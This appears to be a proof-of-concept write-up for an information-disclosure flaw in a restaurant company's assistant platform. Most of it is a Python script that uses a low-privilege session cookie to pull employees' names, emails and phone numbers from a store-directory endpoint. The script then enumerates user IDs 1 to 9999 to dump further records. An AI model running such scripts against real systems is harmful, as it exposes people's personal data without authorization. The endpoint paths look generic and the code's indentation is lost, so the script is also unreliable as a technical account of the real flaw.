The Restaurant Brands International (RBI) assistant platform through 2025-09-06 has a Global Store Directory that shares personal information among authenticated users.
The following code is for security research and authorized testing only.
python
# CVE-2025-62644 PoC - RBI Assistant Platform Information Disclosure
# Vulnerability: Global Store Directory exposes personal information to all authenticated users
# Author: Security Researcher
import requests
# Configuration
BASE_URL = "https://[RBI-assistant-platform-domain]"
SESSION_COOKIE = "authenticated_session_cookie_here"
# Step 1: Authenticate to the RBI assistant platform
# (Requires valid low-privilege user credentials)
auth_headers = {
"Cookie": f"session={SESSION_COOKIE}",
"Content-Type": "application/json"
}
# Step 2: Access the Global Store Directory endpoint
# This endpoint returns store information along with associated
# employee personal information without proper access control
directory_url = f"{BASE_URL}/api/global-store-directory"
response = requests.get(directory_url, headers=auth_headers)
if response.status_code == 200:
data = response.json()
# Step 3: Extract personal information of all users
# The vulnerability allows any authenticated user to view
# PII data of other users through the directory
for store in data.get("stores", []):
for employee in store.get("employees", []):
print(f"Name: {employee.get('name')}")
print(f"Email: {employee.get('email')}")
print(f"Phone: {employee.get('phone')}")
print(f"Position: {employee.get('position')}")
print(f"Store: {store.get('name')}")
print("---")
else:
print(f"Access failed: {response.status_code}")
# Step 4: Alternative - iterate through user IDs to enumerate
for user_id in range(1, 10000):
user_url = f"{BASE_URL}/api/users/{user_id}"
user_response = requests.get(user_url, headers=auth_headers)
if user_response.status_code == 200:
user_data = user_response.json()
print(f"User {user_id}: {user_data}")